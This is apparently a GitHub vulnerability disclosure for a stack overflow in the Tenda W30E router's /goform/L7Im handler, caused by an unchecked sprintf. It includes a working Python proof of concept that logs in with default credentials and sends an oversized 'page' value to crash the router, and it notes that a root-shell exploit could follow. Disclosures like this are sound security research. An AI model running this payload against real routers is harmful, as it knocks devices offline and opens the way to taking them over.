Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Tenda W30E V1.0.1.25(633) Stack overflow vulnerability

Firmware information

Affected version

Vulnerability details

In /goform/L7Im, the page will be spliced into s by sprintf. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

Poc

import requests

cmd = b'page=' + b'a' * 0x3000

url = b"http://192.168.10.103/login/Auth"
payload = b"http://192.168.10.103/goform/L7Im/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()

You can see that the router crashed, and finally you can write an exp to get a root shell